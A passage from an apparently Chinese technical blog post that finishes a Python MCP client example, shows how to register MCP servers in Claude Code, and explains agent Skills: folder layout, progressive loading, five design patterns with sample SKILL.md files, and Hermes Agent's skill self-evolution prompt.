        # 提取出模型返回的 JSON 内容
        content = response.choices[0].message.content.strip()
        match = re.search(r&quot;```(?:json)?\\s*([\s\S]+?)\\s*```&quot;, content)
        if match:
            json_text = match.group(1)
        else:
            json_text = content

        # 在解析 JSON 之后返回调用计划
        try:
            plan = json.loads(json_text)
            return plan if isinstance(plan, list) else []
        except Exception as e:
            print(f&quot;❌ 工具调用链规划失败: {e}\n原始返回: {content}&quot;)
            return []

    async def cleanup(self):
        await self.exit_stack.aclose()
        
        
	# 业务主逻辑，整条流水线：
	# 用户输入 → 生成报告文件名 → LLM 规划工具链 → 循环执行工具 → 汇总结果给 LLM 生成最终回答 → 本地保存对话日志
    async def process_query(self, query: str) -&amp;gt; str:
        # 准备初始消息和获取工具列表
        messages = [{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: query}]
        response = await self.session.list_tools()

        available_tools = [
            {
                &quot;type&quot;: &quot;function&quot;,
                &quot;function&quot;: {
                    &quot;name&quot;: tool.name,
                    &quot;description&quot;: tool.description,
                    &quot;input_schema&quot;: tool.inputSchema
                }
            } for tool in response.tools
        ]

        # 提取问题的关键词，对文件名进行生成。
        # 在接收到用户提问后就应该生成出最后输出的 md 文档的文件名，
        # 因为导出时若再生成文件名会导致部分组件无法识别该名称。
        keyword_match = re.search(r&apos;(关于|分析|查询|搜索|查看)([^的\s，。、？\n]+)&apos;, query)
        keyword = keyword_match.group(2) if keyword_match else &quot;分析对象&quot;
        safe_keyword = re.sub(r&apos;[\\/:*?&quot;&amp;lt;&amp;gt;|]&apos;, &apos;&apos;, keyword)[:20]
        timestamp = datetime.now().strftime(&apos;%Y%m%d_%H%M%S&apos;)
        md_filename = f&quot;sentiment_{safe_keyword}_{timestamp}.md&quot;
        md_path = os.path.join(&quot;./sentiment_reports&quot;, md_filename)

        # 更新查询，将文件名添加到原始查询中，使大模型在调用工具链时可以识别到该信息
        # 然后调用 plan_tool_usage 获取工具调用计划
        query = query.strip() + f&quot; [md_filename={md_filename}] [md_path={md_path}]&quot;
        messages = [{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: query}]

        tool_plan = await self.plan_tool_usage(query, available_tools)

        tool_outputs = {}
        messages = [{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: query}]

        # 依次执行工具调用，并收集结果
        for step in tool_plan:
            tool_name = step[&quot;name&quot;]
            tool_args = step[&quot;arguments&quot;]

            for key, val in tool_args.items():
                if isinstance(val, str) and val.startswith(&quot;{{&quot;) and val.endswith(&quot;}}&quot;):
                    ref_key = val.strip(&quot;{} &quot;)
                    resolved_val = tool_outputs.get(ref_key, val)
                    tool_args[key] = resolved_val

            # 注入统一的文件名或路径（用于分析和邮件）
            if tool_name == &quot;analyze_sentiment&quot; and &quot;filename&quot; not in tool_args:
                tool_args[&quot;filename&quot;] = md_filename
            if (
                tool_name == &quot;send_email_with_attachment&quot;
                and &quot;filename&quot; not in tool_args
                and &quot;attachment_path&quot; not in tool_args
            ):
                tool_args[&quot;attachment_path&quot;] = md_path

            result = await self.session.call_tool(tool_name, tool_args)

            tool_outputs[tool_name] = result.content[0].text
            messages.append({
                &quot;role&quot;: &quot;tool&quot;,
                &quot;tool_call_id&quot;: tool_name,
                &quot;content&quot;: result.content[0].text
            })

        # 调用大模型生成回复信息，并输出保存结果
        final_response = self.client.chat.completions.create(
            model=self.model,
            messages=messages
        )
        final_output = final_response.choices[0].message.content

        # 对辅助函数进行定义，目的是把文本清理成合法的文件名
        def clean_filename(text: str) -&amp;gt; str:
            text = text.strip()
            text = re.sub(r&apos;[\\/:*?\&quot;&amp;lt;&amp;gt;|]&apos;, &apos;&apos;, text)
            return text[:50]

        # 使用清理函数处理用户查询，生成用于文件命名的前缀，并添加时间戳、设置输出目录
        # 最后构建出完整的文件路径用于保存记录
        safe_filename = clean_filename(query)
        timestamp = datetime.now().strftime(&apos;%Y%m%d_%H%M%S&apos;)
        filename = f&quot;{safe_filename}_{timestamp}.txt&quot;
        output_dir = &quot;./llm_outputs&quot;
        os.makedirs(output_dir, exist_ok=True)
        file_path = os.path.join(output_dir, filename)

        # 将对话内容写入 md 文档，其中包含用户的原始提问以及模型的最终回复结果
        with open(file_path, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            f.write(f&quot;🗣 用户提问：{query}\n\n&quot;)
            f.write(f&quot;🤖 模型回复：\n{final_output}\n&quot;)

        print(f&quot;📄 对话记录已保存为：{file_path}&quot;)

        return final_output

	# 交互入口
    async def chat_loop(self):
        # 初始化提示信息
        print(&quot;\n🤖 MCP 客户端已启动！输入 &apos;quit&apos; 退出&quot;)

        # 进入主循环中等待用户输入
        while True:
            try:
                query = input(&quot;\n你: &quot;).strip()
                if query.lower() == &apos;quit&apos;:
                    break

                # 处理用户的提问，并返回结果
                response = await self.process_query(query)
                print(f&quot;\n🤖 AI: {response}&quot;)

            except Exception as e:
                print(f&quot;\n⚠️ 发生错误: {str(e)}&quot;)

    


async def main():
    server_script_path = &quot;./server.py&quot;
    client = MCPClient()
    try:
        await client.connect_to_server(server_script_path)
        await client.chat_loop()
    finally:
    	# 资源释放：关闭 AsyncExitStack，自动关闭 MCP 会话、杀掉 server 子进程，防止资源泄漏；
        await client.cleanup()


if __name__ == &quot;__main__&quot;:
    asyncio.run(main())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614235044671.png&quot; alt=&quot;image-20260614235044516&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260614235020379.png&quot; alt=&quot;image-20260614235020234&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;配置现有的MCP&lt;/h2&gt;
&lt;p&gt;MCP现在的生态很丰富，下面以cluade code 为例说一下怎么配置一个自己写好的或者别人的MCP Server。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;本地Stdio MCP&lt;/p&gt;
&lt;p&gt;比如我本地已经写好了一个MCP server, 在项目目录里执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claude mcp add 你的server名字 --transport stdio -- &quot;你的python路径&quot; &quot;你的mcp server位置&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果有环境变量需要配置，可以参考下面这个：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claude mcp add news-server --transport stdio --scope project ^
-e SERPER_API_KEY= ^
-e DASHSCOPE_API_KEY= ^
-e BASE_URL=https://dashscope.aliyuncs.com/compatible-mode/v1 ^
-e MODEL=qwen-plus ^
-- &quot;E:\Work\agent_study\.venv\Scripts\python.exe&quot; &quot;E:\Work\agent_study\MCP\server.py&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个是配到&lt;code&gt;.mcp.json&lt;/code&gt;里的（项目共享级），如果想配到&lt;code&gt;.claude.json&lt;/code&gt;下（项目私有级）或者&lt;code&gt;C:\Users\用户名\.claude.json&lt;/code&gt;下（全局用户级），把&lt;code&gt;--scope&lt;/code&gt;后的参数改成&lt;code&gt;loacl/user&lt;/code&gt;即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260615010310949.png&quot; alt=&quot;887ed8ac08e5b92b77459236854c0c44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;claude mcp list&lt;/code&gt;查看：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260615005017987.png&quot; alt=&quot;image-20260615005017806&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然，你可以下载别人的mcp，然后配置到你的cc里，以高德为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claude mcp add amap-maps --transport stdio --scope project ^
-e AMAP_MAPS_API_KEY= ^
-- npx -y @amap/amap-maps-mcp-server
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;远程 HTTP MCP&lt;/p&gt;
&lt;p&gt;先找到远程MCP地址，比如Notion的： https://mcp.notion.com/mcp&lt;/p&gt;
&lt;p&gt;在项目目录里执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;claude mcp add notion --transport http --scope project https://mcp.notion.com/mcp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再cc里输入/mcp选择新配置的mcp进行认证就好了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;四、Skills&lt;/h1&gt;
&lt;p&gt;Skills是2026年Agent中最火的东西，也是目前 Agent 体系中最简单的一个模块。它本质上只是一个遵循特定内容规范的文件夹，里面存在了一些文件。可以这么理解：把某一类常见任务的处理方式按照你的偏好提前整理好，之后在合适的时候直接调用，相当于是扩展了 AI 的能力，给它一份说明书，让它能在对应场景下自动切换，调用对应的技能，完成相关的任务。&lt;/p&gt;
&lt;p&gt;我最开始的时候觉得Skills就是提示词外置，因为那个时候MCP已经很强大了，但落地使用后明显能感觉到，Skills之于MCP确实是更加稳定。并且，凭借按需加载，通用 Agent 能够以较低成本适配不同垂直业务场景，变身专业 Agent。所以我觉得现在用LangGraph开发或者自己手写一些agent已经意义不大了，写Skills放进hermes，claude code里效果好还简单。&lt;/p&gt;
&lt;h2&gt;Skills的基础概念&lt;/h2&gt;
&lt;p&gt;一个标准的 Skill 文件夹长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;your-skill-name/           # 技能文件夹
├── SKILL.md               # 必填: 核心指令文件, 告诉 AI 该怎么做
├── scripts/               # 可选: 可执行代码目录
│   └── process_data.py    # 示例: Python 处理脚本
├── references/             # 可选: 参考文档目录
│   └── api-guide.md       # 示例: API 接口说明文档
└── assets/                # 可选: 资源文件目录
    └── report-template.md # 示例: 报告生成模板
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;SKILL.md&lt;/strong&gt;（必填核心文件）&lt;/p&gt;
&lt;p&gt;这是整个 Skill 的灵魂，Agent 通过读取它来了解技能的作用和执行步骤。模型最先读取的就是这个文件，来判断是否要使用这个 Skill。&lt;/p&gt;
&lt;p&gt;它由两部分组成：头部元数据 + 详细说明 / 步骤&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;命名要求：必须精确拼写为 &lt;code&gt;SKILL.md&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;内容结构：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;YAML 前言（Frontmatter）&lt;/strong&gt;：位于文件最顶部，包含 &lt;code&gt;name&lt;/code&gt; 和 &lt;code&gt;description&lt;/code&gt;，用于告诉 Agent 何时触发该技能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Markdown 指令主体&lt;/strong&gt;：用于告诉 Agent 触发后如何一步步执行任务。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;scripts/&lt;/strong&gt;（可选）&lt;/p&gt;
&lt;p&gt;存放可执行的代码文件（如 Python、Bash 脚本等）。&lt;/p&gt;
&lt;p&gt;使用场景：如果你的工作流包含复杂的数据处理或需要调用外部 API，可以写成脚本放在这里，在 SKILL.md 中让 Agent 运行它们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;references/&lt;/strong&gt;（可选）&lt;/p&gt;
&lt;p&gt;存放给 AI 看的详细参考文档。&lt;/p&gt;
&lt;p&gt;使用场景：如果你有必要的API 文档或设计规范，不要直接塞进 SKILL.md 里，把它们放在这个目录下，在SKILL.md中提示 Agent “按需查阅”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;assets/&lt;/strong&gt;（可选）&lt;/p&gt;
&lt;p&gt;存放素材资源，AI 可以直接拿来使用的，比如模板、图片等。&lt;/p&gt;
&lt;p&gt;使用场景：如果你的 skill 需要输出特定格式的报告，可以把 Markdown 模板放在这里；或者前端生成技能中用到的字体、图标等。&lt;/p&gt;
&lt;h2&gt;Skills的运行机制&lt;/h2&gt;
&lt;p&gt;Skill 采用&lt;strong&gt;渐进式加载&lt;/strong&gt;，它的核心设计理念非常清晰：分阶段、按需加载。&lt;/p&gt;
&lt;p&gt;Skill 采用三层加载模型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 用户发送请求
   ↓
2. Level 1 总是加载：读取 SKILL.md 头部 YAML 简介
   ↓
3. 判断用户请求是否匹配该技能
   ├─ 不匹配 → 走常规对话流程，结束
   └─ 匹配 → 进入 Level 2
   ↓
4. Level 2 触发时加载：读取 SKILL.md 完整指令、执行步骤
   ↓
5. AI 按照文档步骤开始执行任务
   ├─ 任务不需要外部文件资源 → 直接输出最终结果
   └─ 任务需要读取文档 / 运行脚本 → 进入 Level 3
   ↓
6. Level 3 引用时按需加载：读取外部资源目录
   ├─ references/ 参考文档：文档全文加载进上下文，再生成结果
   └─ scripts/ 可执行脚本：运行代码，仅将运行结果传入上下文，代码本身不占用上下文
   ↓
   汇总所有信息，输出最终结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Level 1: 元数据&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内容：SKILL.md 的 YAML 前言（Frontmatter，即包含 name 和 description 的部分）。&lt;/p&gt;
&lt;p&gt;加载时机：启动时，直接加载到 Agent 系统提示（System Prompt）中。&lt;/p&gt;
&lt;p&gt;Token 成本：极低，大约～100 tokens/Skill。&lt;/p&gt;
&lt;p&gt;作用：让 Agent 知道系统里有哪些 Skills 可用，以及在什么情境下该唤醒它们。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 2: 核心指令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内容：SKILL.md 的 Markdown 主体部分（即具体的步骤和规范）。&lt;/p&gt;
&lt;p&gt;加载时机：当用户的请求命中了 Level 1 中的 description（描述）时。&lt;/p&gt;
&lt;p&gt;加载方式：系统会在后台自动将其调入当前对话。&lt;/p&gt;
&lt;p&gt;Token 成本：中等，一般 &amp;lt; 5,000 tokens。&lt;/p&gt;
&lt;p&gt;作用：为 AI 提供完成当前任务的详细操作指南和最佳实践（比如 “先写大纲，再分段”）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 3: 其他文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;内容：存放在 references/ 的详细文档、scripts/ 的可执行脚本、assets/ 的模板文件等额外资源。&lt;/p&gt;
&lt;p&gt;加载时机：只有当 Level 2 的指令中明确要求引用、执行这些文件时。&lt;/p&gt;
&lt;p&gt;加载方式与 Token 成本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;额外文档：通过读取命令进入上下文，Token 成本视实际文件大小而定。&lt;/li&gt;
&lt;li&gt;可执行脚本：通过执行命令运行，脚本代码本身不进入上下文，只有执行后的输出结果才会消耗 Token。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作用：提供近乎无限制的扩展能力，避免了把几万字参考资料直接塞给 AI 导致的上下文污染和幻觉。&lt;/p&gt;
&lt;h2&gt;Skills的设计模式&lt;/h2&gt;
&lt;p&gt;下面是Google总结的5种 Skill 设计模式，我觉得挺好的，看完之后自己动手开发 Skill 时能有个大概的思路。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616000241025.jpeg&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工具封装器（Tool Wrapper）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;侧重于应用知识，为 Agent 提供关于特定代码库的按需上下文。&lt;/p&gt;
&lt;p&gt;SKILL.md 中定义了匹配规则，系统会监听用户提示词里特定代码库的关键字，命中后从 references/ 目录动态加载相关文档。&lt;/p&gt;
&lt;p&gt;适用场景：适合将团队的内部编码指南或特定框架最佳实践直接分发到开发者工作流中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616001501449.png&quot; alt=&quot;image-20260616001501226&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SKILL.md示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: api-expert
description: FastAPI 开发的最佳实践。在构建、审查或调试FastAPI应用、REST API或Pydantic模型时使用。
metadata:
  pattern: tool-wrapper
  domain: fastapi
---

你是 FastAPI 开发领域的专家。请将以下规范应用于用户的代码或问题中。

## 核心规范

加载 &apos;references/conventions.md&apos;以获取完整的FastAPI最佳实践。

## 审查代码时
1. 加载规范参考文件
2. 逐条对照规范检查用户的代码
3. 对于每一处违反规范的地方，引用具体规则并提供修复建议。

## 编写代码时
1. 加载规范参考文件
2. 严格遵循每一项规范
3. 为所有函数签名添加类型注解
4. 使用 Annotated 风格进行依赖注入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;生成器(Generator)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于强制执行一致的输出。&lt;/p&gt;
&lt;p&gt;它利用了两个可选的目录：assets/ 用于存放你的输出模板，而 references/ 用于存放风格指南。指令在这里充当项目经理的角色，它告诉 Agent 加载模板、阅读风格指南、向用户询问缺失的变量，并填充文档。&lt;/p&gt;
&lt;p&gt;适用场景：适合生成可预测的 API 文档、标准化提交信息或搭建项目架构。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616003018574.png&quot; alt=&quot;image-20260616003018328&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SKILL.md示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: report-generator
description: 生成结构化的Markdown格式技术报告。当用户要求编写、创建或起草报告、摘要或分析文档时使用。
metadata:
  pattern: generator
  output-format: markdown
---

你是一个技术报告生成器。请严格遵循以下步骤：

步骤 1: 加载 &apos;references/style-guide.md&apos;获取语气和排版规则。
步骤 2: 加载 &apos;assets/report-template.md&apos;获取所需的输出结构。
步骤 3: 向用户询问填充模板所需的任何缺少信息：
- 主题或内容
- 关键发现或数据点
- 目标受众（技术人员、管理层、普通受众）

步骤 4: 遵循样式指南的规则填充模板。模板中的每个部分都必须出现在最终的输出中。

步骤 5: 将完成的报告作为单个 Markdown文档返回。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Skill 文件本身并不包含实际的排版或语法规则。它仅仅负责协调这些资产的检索，并强制 Agent 逐步去执行它们。&lt;/p&gt;
&lt;p&gt;references/ 目录下通常存放如 style-guide.md 等指导性文件。它规定了报告的语气、术语标准或排版倾向。当团队需要调整文风时，只需替换此目录下的静态文本，无需修改 SKILL.md 中的任何代码指令。assets/ 通常存放预先 “挖好空” 的模板文件（如 report-template.md）。&lt;/p&gt;
&lt;p&gt;大模型不再构思文章脉络，而是将收集到的事实组装进模板中，从而在系统层面上保障了交付物结构的一致。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;审查器(Reviewer)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将 “检查什么” 与 “如何检查” 分离开来。&lt;/p&gt;
&lt;p&gt;无需编写冗长的系统提示词来详细说明每一种场景的评分标准，而是将模块化的评分标准存储在 review-checklist.md 文件中。执行过程中，Agent 会加载此清单并有条理地对提交内容进行评分。&lt;/p&gt;
&lt;p&gt;适用场景：适合自动化审计相关的流程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616150920976.png&quot; alt=&quot;image-20260616150920507&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SKILL.md示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: code-reviewer
description: 审查 Python 代码的质量、风格和常见Bug。当用户提交代码以供审查、要求获取代码反馈或希望进行代码审计时使用。
metadata:
  pattern: reviewer
  severity-levels: error,warning，info
---

你是一个 Python 代码审查员。请严格遵循以下审查协议：

步骤 1: 加载 &apos;references/review-checkkist.md&apos;获取完整的审查标准。

步骤 2: 仔细阅读用户的代码。在进行点评之前，先理解其意图。

步骤 3: 将清单中的每条规则应用于代码。对于发现的每一个违规之处：
- 记录行号（或大致位置）
- 对严重程度进行分类: error（必须修复）、warning(建议修复)、info(供参考)
- 解释“为什么”这是一个问题, 而不仅仅是指出”哪里“错了
- 提供具体的修复建议及修改后的代码

步骤 4: 生成包含以下部分的结构化审查报告：
- **总结**: 代码的功能说明，整体质量评估
- **发现的问题**: 按严重程度分组（error优先，其次是warning，最后是info）
- **评分**: 1-10 分，并附带简短理由
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;反转 (Inversion)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Agent 往往本能地想要立刻进行猜测并生成结果。 反转模式颠覆了这种动态逻辑。不再是用户驱动提示词而 Agent 去执行，而是由 Agent 扮演面试官（访谈者）的角色。 它会按顺序提出结构化问题，并等待你的回答，然后再进入下一个阶段。&lt;/p&gt;
&lt;p&gt;适用场景：适合需要大量前置信息的复杂任务。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616152150310.png&quot; alt=&quot;image-20260616152150095&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SKILL.md示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: project-planner
description: 规划新软件项目，在生成计划之前通过结构化的问题收集需求。当用户说“我想构建”、“帮我做计划”、“设计系统”或“开始新项目”时使用。
metadata:
  pattern: inversion
  interaction: multi-turn
---

你正在进行一次结构化的需求访谈。在所有阶段完成之前，绝对不要开始构建或设计。

## 阶段 1 – 问题发现（一次只问一个问题，等待每个回答）
按顺序提出以下问题。不要跳过任何一个
- Q1: “这个项目为用户解决了什么问题？”
- Q2: “主要用户是谁？他们的技术水平如何？”
- Q3: “预期的规模有多大？（每日用户量、数据量、请求频率）”

## 阶段 2 – 技术约束（仅在阶段 1 被被完全解答后进行)
- Q4: “你打算使用什么部署环境？”
- Q5: “你对技术栈有什么要求或偏好吗？”
- Q6: “有哪些不可妥协的要求？（延迟、正常运行时间、合规性、预算) ”

## 阶段 3 – 总结（仅在所有问题都被解答后进行)
1. 加载 &apos;assets/plan-template.md&apos;获取输出格式
2. 使用收集到的需求填充模板的每个部分
3. 向用户展示完整的计划
4. 询问: “这个计划准确地涵盖了你的需求吗？你希望修改哪些地方？
5. 根据反馈不断迭代, 直到用户确认为止
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过结构化的提问表单与严格的阶段控制，它能够有效引导那些不知道自己不知道什么的用户，共同推导出一份高质量的执行方案。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;流水线(Pipeline)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;流水线模式强制执行一个带有硬性检查点、严格按顺序执行的工作流。&lt;/p&gt;
&lt;p&gt;适用场景：适合复杂的任务，无法承受遗漏步骤的常见。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260616165844104.png&quot; alt=&quot;image-20260616165843654&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SKILL.md示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: doc-pipeline
description: 通过多步流水线从 Python 源代码生成 API 文档。当用户要求为模块编写文档、生成API文档或从代码创建文档时使用。
metadata:
  pattern: pipeline
  steps: &quot;4&quot;
---

你正在运行一个文档生成流水线。请严格请严格按顺序执行每个步骤。绝对不要跳过任何步骤，也不要在某个步骤失败时继续前进。

## 步骤 1 – 解析与盘点
分析用户的 Python 代码，提取所有公共的类、函数和常量。将盘点清单作为检查列表展示给用户，并询问：“这是您希望编写文档的完整公共API吗？”

## 步骤 2 – 生成文档字符串（Docstring）
对于每一个缺少文档字符串的函数:
- 加载 &apos;references/docstring-style.md&apos; 获取所需的格式规范
- 严格遵循样式指南生成文档字符串
- 向用户展示每个生成的文档字符串以供审核批准
**在用户确认之前，绝对不要进入步骤 3。**

## 步骤 3 – 组装文档
加载 &apos;assets/api-doc-template.md&apos;获取输出结构。将所有的类、函数和文档字符串编译整合进一个单一的API参考文档中。

## 步骤 4 – 质量检查
根据 &apos;references/quality-checklis&apos;进行复核:
- 确保每一个公共符号都已记录
- 确保每一个参数都包含类型和描述
- 确保每个函数至少提供一个使用示例
汇报检查结果。在展示最终文档之前，必须先修复发现的所有问题。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Skills的自进化&lt;/h2&gt;
&lt;p&gt;一旦 Skill 变成了资产，它就不再只是提示工程的产物，而开始接近软件工程里的模块、知识工程里的工件、以及强化学习里的可复用策略单元。顺着这个思路，skill + 自进化开辟出了一条全新的 Agent 研究路线。Hermes Agent就是这条路上的代表性实现。&lt;/p&gt;
&lt;p&gt;很多人会下意识地将 “Agent的自进化” 理解成 &quot;它记住了用户说过的话&quot;，但 Hermes 的&quot;学习&quot;远不止于此。它真正在做的是：&lt;strong&gt;每次对话结束后，agent 会评估这次解决问题的过程，决定要不要把工作流程提炼成一个新的 skill 文件&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;先看下hermes里的SKILL.md的Frontmatter是怎么写的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
name: systematic-debugging
description: &quot;4-phase root cause debugging: understand bugs before fixing.&quot;
version: 1.1.0
author: Hermes Agent (adapted from obra/superpowers)
license: MIT
metadata:
  hermes:
    tags: [debugging, troubleshooting, problem-solving, root-cause, investigation]
    related_skills: [test-driven-development, writing-plans, subagent-driven-development]
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;name和description就不说了。&lt;/p&gt;
&lt;p&gt;version：语义化版本。Hermes 会跟踪每个 skill 的版本变化。当一个 skill 被 agent 自动优化后，版本号会递增。用户可以通过 &lt;code&gt;hermes skills log&lt;/code&gt; 看到每次修改的历史，甚至可以回滚到之前的版本。这个设计决定了它能支持演化而不是单纯的覆盖。&lt;/p&gt;
&lt;p&gt;author：来源追溯。Hermes 不是从零写 skill，而是从已有的社区 skill 库适配过来的。这也说明skill 是可以跨项目共享的。一个人写的好 skill，另一个人可以 import 来用，就像 npm 包或者 pip 库一样。&lt;/p&gt;
&lt;p&gt;metadata.hermes.tags：检索索引。当 agent 遇到一个问题，它不会&quot;遍历所有 skills 看哪个 description 匹配&quot;——那样太慢。它会先用关键词匹配 tags，快速缩小候选集，再读候选的 description，再决定加载哪个。&lt;/p&gt;
&lt;p&gt;metadata.hermes.related_skills：技能图谱。这是整个 skill 系统里最未来感的字段。它声明&quot;这个 skill 和哪些其他 skill 相关&quot;。比如 &lt;code&gt;systematic-debugging&lt;/code&gt; 的 related 包括 &lt;code&gt;test-driven-development&lt;/code&gt; 和 &lt;code&gt;writing-plans&lt;/code&gt;——意思是 做根因分析的时候，可能也需要用到 TDD 和写计划的技能。Agent 加载一个 skill 时，会顺便把它的 related_skills 的 description 也加载（但不加载正文）。这样 agent 就建立了一张技能关联图，在解决复杂问题时可以沿着图跳转。这是 Hermes 从&quot;孤立的工具集&quot;向&quot;有知识图谱的能力体系&quot;演进的关键设计。&lt;/p&gt;
&lt;p&gt;SKILL.md的设计可以说是自进化的前提保障，下面看看Skill具体是怎么做自进化的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_SKILL_REVIEW_PROMPT = (
    &quot;Review the conversation above and consider saving or updating &quot;
    &quot;a skill if appropriate.\n\n&quot;
    &quot;Focus on: was a non-trivial approach used to complete a task that &quot;
    &quot;required trial and error, or changing course due to experiential &quot;
    &quot;findings along the way, or did the user expect or desire a &quot;
    &quot;different method or outcome?\n\n&quot;
    &quot;If a relevant skill already exists, update it with what you learned. &quot;
    &quot;Otherwise, create a new skill if the approach is reusable.\n&quot;
    &quot;If nothing is worth saving, just say &apos;Nothing to save.&apos; and stop.&quot;
)
翻译一下:
审查上面这段对话，决定要不要保存或更新一个 skill。
关注：这次任务是不是用了&quot;非凡常规&quot;的方法？是不是经历了试错或中途调整路线？用户是不是期待或想要一种不同的做法/结果？
如果已有相关 skill，用学到的东西更新它。否则，如果这个做法可复用，就创建一个新 skill。
如果没什么值得保存的，就说 “Nothing to save.” 然后停下。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是&lt;strong&gt;整个自进化机制的核心&lt;/strong&gt;。每轮对话结束后，Hermes 会派一个 background review agent，让它读这次对话的完整 transcript，然后用上面这段 prompt 决定要不要动 skill 库。review agent 自己判断&quot;什么算非凡常规的方法&quot;，没有写死的阈值。&lt;/p&gt;
&lt;p&gt;review agent的pipeline:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;摘取。Agent 回顾本轮对话的完整工具调用序列，标记出&quot;导致成功的关键步骤&quot;。&lt;/li&gt;
&lt;li&gt;抽象。把具体任务抽象成可复用模式。抽象是这个流水线最难的环节，需要 agent 有足够的元认知能力——“我刚才做的事情里，哪些是这个问题特有的，哪些是可以推广的”。Hermes 在这里依赖的是基础模型本身的泛化能力。弱一点的模型在这步会失败，生成的 skill 会过于具体没法复用。&lt;/li&gt;
&lt;li&gt;格式化。把抽象出来的方法论填进 agentskills.io 标准的 skill 模板：
&lt;ul&gt;
&lt;li&gt;写 description（按三段式：触发条件 + 核心承诺 + 关键约束）&lt;/li&gt;
&lt;li&gt;选 tags（基于任务类型）&lt;/li&gt;
&lt;li&gt;标 related_skills（搜索已有 skills 看哪些相关）&lt;/li&gt;
&lt;li&gt;写正文（把 4 个阶段的方法论写成 Markdown）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
